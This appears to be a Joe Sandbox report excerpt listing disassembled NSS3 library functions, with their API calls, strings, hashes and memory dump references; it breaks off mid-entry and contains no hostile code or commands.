Instruction Fuzzy Hash: B13146B1501244BFEB108F55EC49F9F7771EB42318F054025E91CA7262DBB2C989CBA2

Function 6CFF6EF0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6CFF6F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CFF6F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFF6F53

Part of subcall function 6D0DD930: PL_strncpyz.NSS3(?,?,?), ref: 6D0DD963

PR_LogPrint.NSS3(?,00000000), ref: 6CFF6F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CFF6F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CFF6FA1

Strings

pPart = 0x%p, xrefs: 6CFF6F83
ulPartLen = %d, xrefs: 6CFF6F9C
(CK_INVALID_HANDLE), xrefs: 6CFF6F4C
nm, xrefs: 6CFF6FB9, 6CFF6FE7
C_DigestUpdate, xrefs: 6CFF6F11
hSession = 0x%x, xrefs: 6CFF6F2E, 6CFF6F3E

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate$nm
API String ID: 1003633598-673536606
Opcode ID: 43f84ba0ecc0834508d3e43f138e995a941201d7ec057ccdc05a5c0048e37cf6
Instruction ID: aba2f64c09def44685b335416d848bc83c7ca807a06f7d4f8b1a607f482ffdf6
Opcode Fuzzy Hash: 43f84ba0ecc0834508d3e43f138e995a941201d7ec057ccdc05a5c0048e37cf6
Instruction Fuzzy Hash: D8313775911200AFFB108F15EC49F5E77B1EB42318F054025F81CA7662EBB2D985CBE2

Function 6CFF7E00 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyUpdate), ref: 6CFF7E26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CFF7E54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFF7E63

Part of subcall function 6D0DD930: PL_strncpyz.NSS3(?,?,?), ref: 6D0DD963

PR_LogPrint.NSS3(?,00000000), ref: 6CFF7E79
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CFF7E98
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CFF7EB1

Strings

pPart = 0x%p, xrefs: 6CFF7E93
ulPartLen = %d, xrefs: 6CFF7EAC
C_VerifyUpdate, xrefs: 6CFF7E21
(CK_INVALID_HANDLE), xrefs: 6CFF7E5C
nm, xrefs: 6CFF7EC9, 6CFF7EF7
hSession = 0x%x, xrefs: 6CFF7E3E, 6CFF7E4E

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_VerifyUpdate$nm
API String ID: 1003633598-3622365449
Opcode ID: 95ddf9c90cc1696f68447357f03f95e5cdd01bf6cd02fb2712adc3d8aa972209
Instruction ID: 9be19c4a732b507e1720f33b1df018438b2aea11466449fe079938f4bf47ea5f
Opcode Fuzzy Hash: 95ddf9c90cc1696f68447357f03f95e5cdd01bf6cd02fb2712adc3d8aa972209
Instruction Fuzzy Hash: 14313475901204BFEB108F15EC49F9FBBB0EB42308F054026E91CA7262DBB19D85CBE2

Function 6CFF7F30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyFinal), ref: 6CFF7F56
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CFF7F84
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFF7F93

Part of subcall function 6D0DD930: PL_strncpyz.NSS3(?,?,?), ref: 6D0DD963

PR_LogPrint.NSS3(?,00000000), ref: 6CFF7FA9
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CFF7FC8
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6CFF7FE1

Strings

ulSignatureLen = %d, xrefs: 6CFF7FDC
(CK_INVALID_HANDLE), xrefs: 6CFF7F8C
C_VerifyFinal, xrefs: 6CFF7F51
nm, xrefs: 6CFF7FF9, 6CFF8027
pSignature = 0x%p, xrefs: 6CFF7FC3
hSession = 0x%x, xrefs: 6CFF7F6E, 6CFF7F7E

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pSignature = 0x%p$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_VerifyFinal$nm
API String ID: 1003633598-2750967345
Opcode ID: cce795029506fa5abd01d47d1771b1c3fd322f40dab9a7980f7067524a07f424
Instruction ID: 629cedb07d78f16fd328a90bc0dced90dd561e9ffcb8c7d5df402a2e7f355dea
Opcode Fuzzy Hash: cce795029506fa5abd01d47d1771b1c3fd322f40dab9a7980f7067524a07f424
Instruction Fuzzy Hash: B4310171501204AFFB10CF15EC49F5EB7B1EB42318F454022E81CA7262DBB2D889CAE2

Function 6CFBAF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CFBAF47

Part of subcall function 6D089090: TlsGetValue.KERNEL32 ref: 6D0890AB
Part of subcall function 6D089090: TlsGetValue.KERNEL32 ref: 6D0890C9
Part of subcall function 6D089090: EnterCriticalSection.KERNEL32 ref: 6D0890E5
Part of subcall function 6D089090: TlsGetValue.KERNEL32 ref: 6D089116
Part of subcall function 6D089090: LeaveCriticalSection.KERNEL32 ref: 6D08913F

FreeLibrary.KERNEL32(?), ref: 6CFBAF6D
free.MOZGLUE(?), ref: 6CFBAFA4
free.MOZGLUE(?), ref: 6CFBAFAA
PR_ExitMonitor.NSS3 ref: 6CFBAFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6CFBAFF5
PR_ExitMonitor.NSS3 ref: 6CFBB005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CFBB014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6CFBB028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CFBB03C

Strings

%s decr => %d, xrefs: 6CFBAFF0
Unloaded library %s, xrefs: 6CFBB023

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 118b6cbd12ac165ea37d222549aafc9f00b6fa32c08ace096ca5c5b04aa9b785
Instruction ID: 4d912cf9bdc592b0f864b47db3f6a06b941d9225faf38cc4afc377da0835b94d
Opcode Fuzzy Hash: 118b6cbd12ac165ea37d222549aafc9f00b6fa32c08ace096ca5c5b04aa9b785
Instruction Fuzzy Hash: 7831D5B5A08111BBEA01DF66FC40B5AB7B5EB05348B294125EC1AA7A01F373E864C7F5

Function 6D006C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6D00781D,00000000,6CFFBE2C,?,6D006B1D,?,?,?,?,00000000,00000000,6D00781D), ref: 6D006C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6D00781D,?,6CFFBE2C,?), ref: 6D006C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6D00781D), ref: 6D006C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6D006C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6D006C96

Part of subcall function 6CFB1240: TlsGetValue.KERNEL32(00000040,?,6CFB116C,NSPR_LOG_MODULES), ref: 6CFB1267
Part of subcall function 6CFB1240: EnterCriticalSection.KERNEL32(?,?,?,6CFB116C,NSPR_LOG_MODULES), ref: 6CFB127C
Part of subcall function 6CFB1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CFB116C,NSPR_LOG_MODULES), ref: 6CFB1291
Part of subcall function 6CFB1240: PR_Unlock.NSS3(?,?,?,?,6CFB116C,NSPR_LOG_MODULES), ref: 6CFB12A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6D006CAA

Strings

rdb:, xrefs: 6D006C69
sql:, xrefs: 6D006C52
extern:, xrefs: 6D006C7E
NSS_DEFAULT_DB_TYPE, xrefs: 6D006C91
dbm:, xrefs: 6D006C3A
dbm, xrefs: 6D006CA4

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 60efae8de7a71a3148aab5d813f06e20954969c9981ae22f8df2b8a2d4c7d056
Instruction ID: 602603acb032a088022616d24edd43232f02634aeb329c86c0101dca92e5409b
Opcode Fuzzy Hash: 60efae8de7a71a3148aab5d813f06e20954969c9981ae22f8df2b8a2d4c7d056
Instruction Fuzzy Hash: 43018FB1B4230237F75036696D8FF36799EAF81198F040032FE19E1186EFE2E55480B9

Function 6D014E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6CFD78F8), ref: 6D014E6D

Part of subcall function 6CFB09E0: TlsGetValue.KERNEL32(00000000,?,?,?,6CFB06A2,00000000,?), ref: 6CFB09F8
Part of subcall function 6CFB09E0: malloc.MOZGLUE(0000001F), ref: 6CFB0A18
Part of subcall function 6CFB09E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6CFB0A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6CFD78F8), ref: 6D014ED9

Part of subcall function 6D005920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6D007703,?,00000000,00000000), ref: 6D005942
Part of subcall function 6D005920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6D007703), ref: 6D005954
Part of subcall function 6D005920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6D00596A
Part of subcall function 6D005920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6D005984
Part of subcall function 6D005920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6D005999
Part of subcall function 6D005920: free.MOZGLUE(00000000), ref: 6D0059BA
Part of subcall function 6D005920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6D0059D3
Part of subcall function 6D005920: free.MOZGLUE(00000000), ref: 6D0059F5
Part of subcall function 6D005920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6D005A0A
Part of subcall function 6D005920: free.MOZGLUE(00000000), ref: 6D005A2E
Part of subcall function 6D005920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6D005A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6CFD78F8), ref: 6D014EB3

Part of subcall function 6D014820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6D014EB8,?,?,?,?,?,?,?,?,?,?,6CFD78F8), ref: 6D01484C
Part of subcall function 6D014820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6D014EB8,?,?,?,?,?,?,?,?,?,?,6CFD78F8), ref: 6D01486D
Part of subcall function 6D014820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6D014EB8,?), ref: 6D014884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CFD78F8), ref: 6D014EC0

Part of subcall function 6D014470: TlsGetValue.KERNEL32(00000000,?,6CFD7296,00000000), ref: 6D014487
Part of subcall function 6D014470: EnterCriticalSection.KERNEL32(?,?,?,6CFD7296,00000000), ref: 6D0144A0
Part of subcall function 6D014470: PR_Unlock.NSS3(?,?,?,?,6CFD7296,00000000), ref: 6D0144BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CFD78F8), ref: 6D014F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CFD78F8), ref: 6D014F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CFD78F8), ref: 6D014F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CFD78F8), ref: 6D014F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CFD78F8), ref: 6D014F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CFD78F8), ref: 6D014F8F
PK11_UpdateSlotAttribute.NSS3(?,6D0EDCB0,00000000), ref: 6D014FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6D01501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6CFD78F8), ref: 6D01506B

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 0deaf2ec55c25e1ddf1cf33512f2a5359614720478dc4fc23a88d570b2146f2c
Instruction ID: 1af15225f26b674e0e7cd813ce4f1defeb81bbe6e1548d0424d57939d2bb8dbd
Opcode Fuzzy Hash: 0deaf2ec55c25e1ddf1cf33512f2a5359614720478dc4fc23a88d570b2146f2c
Instruction Fuzzy Hash: 8651F1B5C08242ABFB119FA4EC05B6F76B5FF0931CF050535ED4987212F772D5618A92

Function 6CFBACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFBACE2
malloc.MOZGLUE(00000001), ref: 6CFBACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CFBAD02
TlsGetValue.KERNEL32 ref: 6CFBAD3C
calloc.MOZGLUE(00000001,?), ref: 6CFBAD8C
PR_Unlock.NSS3 ref: 6CFBADC0
free.MOZGLUE(00000000), ref: 6CFBAE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CFBAE58
free.MOZGLUE(00000000), ref: 6CFBAE69
free.MOZGLUE(?), ref: 6CFBAE78
PR_Unlock.NSS3 ref: 6CFBAE8C
free.MOZGLUE(?), ref: 6CFBAEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CFBAEC7

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 0cf6ca6ea17b73508bdc599fb27147587ce74bd2e48af1ac9ec5919eb8e93d46
Instruction ID: f8af9a6eb4d0c3bf526ee06b2f10a7d8bef83571bcdaf673c6a4de4e07c3bb16
Opcode Fuzzy Hash: 0cf6ca6ea17b73508bdc599fb27147587ce74bd2e48af1ac9ec5919eb8e93d46
Instruction Fuzzy Hash: 70519EB59002169BDF01DF5AED417AFB7B5BB0A309F140125E914B7B00E3B2A994CBE6

Function 6D094C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6D094CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6D094CFD
sqlite3_value_text16.NSS3(?), ref: 6D094D44

Strings

invalid, xrefs: 6D094CF1
abort due to ROLLBACK, xrefs: 6D094D27, 6D094D33
out of memory, xrefs: 6D094C78, 6D094C9E
API call with %s database connection pointer, xrefs: 6D094CF6
bad parameter or other API misuse, xrefs: 6D094D05
another row available, xrefs: 6D094D20
no more rows available, xrefs: 6D094D2E
unknown error, xrefs: 6D094D56

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 12eb4487c2da35dd5ce6b1b12c128242f6b8ac533944912c1b3db1924f62551a
Instruction ID: 0804c7e95439e18aa4a0e92d697b932747299b036172055efc26f382ac582ab6
Opcode Fuzzy Hash: 12eb4487c2da35dd5ce6b1b12c128242f6b8ac533944912c1b3db1924f62551a
Instruction Fuzzy Hash: D63157B5E04953BFF7454A24A800BB973A1BB8A314F506026D8345F358C761EC57A7EB

Function 6CFF2CD0 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6CFF2CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CFF2D07

Part of subcall function 6D0D09D0: PR_Now.NSS3 ref: 6D0D0A22
Part of subcall function 6D0D09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6D0D0A35
Part of subcall function 6D0D09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6D0D0A66
Part of subcall function 6D0D09D0: PR_GetCurrentThread.NSS3 ref: 6D0D0A70
Part of subcall function 6D0D09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6D0D0A9D
Part of subcall function 6D0D09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6D0D0AC8
Part of subcall function 6D0D09D0: PR_vsmprintf.NSS3(?,?), ref: 6D0D0AE8
Part of subcall function 6D0D09D0: EnterCriticalSection.KERNEL32(?), ref: 6D0D0B19
Part of subcall function 6D0D09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6D0D0B48
Part of subcall function 6D0D09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6D0D0C76
Part of subcall function 6D0D09D0: PR_LogFlush.NSS3 ref: 6D0D0C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CFF2D22

Part of subcall function 6D0D09D0: OutputDebugStringA.KERNEL32(?), ref: 6D0D0B88
Part of subcall function 6D0D09D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6D0D0C5D
Part of subcall function 6D0D09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6D0D0C8D
Part of subcall function 6D0D09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6D0D0C9C
Part of subcall function 6D0D09D0: OutputDebugStringA.KERNEL32(?), ref: 6D0D0CD1
Part of subcall function 6D0D09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6D0D0CEC
Part of subcall function 6D0D09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6D0D0CFB
Part of subcall function 6D0D09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6D0D0D16
Part of subcall function 6D0D09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6D0D0D26
Part of subcall function 6D0D09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6D0D0D35
Part of subcall function 6D0D09D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6D0D0D65
Part of subcall function 6D0D09D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6D0D0D70
Part of subcall function 6D0D09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6D0D0D90
Part of subcall function 6D0D09D0: free.MOZGLUE(00000000), ref: 6D0D0D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CFF2D3B

Part of subcall function 6D0D09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6D0D0BAB
Part of subcall function 6D0D09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6D0D0BBA
Part of subcall function 6D0D09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6D0D0D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6CFF2D54

Part of subcall function 6D0D09D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6D0D0BCB
Part of subcall function 6D0D09D0: EnterCriticalSection.KERNEL32(?), ref: 6D0D0BDE
Part of subcall function 6D0D09D0: OutputDebugStringA.KERNEL32(?), ref: 6D0D0C16

Strings

slotID = 0x%x, xrefs: 6CFF2D02
ulPinLen = %d, xrefs: 6CFF2D36
C_InitToken, xrefs: 6CFF2CE7
nm, xrefs: 6CFF2D6C, 6CFF2D9A
pLabel = 0x%p, xrefs: 6CFF2D4F
pPin = 0x%p, xrefs: 6CFF2D1D

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken$nm
API String ID: 420000887-2784965038
Opcode ID: b480d78b099bb3d5b52b699aaabaf0286b6adbc08897ff59753a7d37b256d0a0
Instruction ID: fc8f039d5b0ea1cb5b36c7297fcb05ec1eb01bc2441e07f4e194a92e70b3a866
Opcode Fuzzy Hash: b480d78b099bb3d5b52b699aaabaf0286b6adbc08897ff59753a7d37b256d0a0
Instruction Fuzzy Hash: D621C4B6101244BFEB109F55ED4AF5D7BB1EB42359F444015E91897232DBB38886CBB2

Function 6D092D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6D092D9F

Part of subcall function 6CF4CA30: EnterCriticalSection.KERNEL32(?,?,?,6CFAF9C9,?,6CFAF4DA,6CFAF9C9,?,?,6CF7369A), ref: 6CF4CA7A
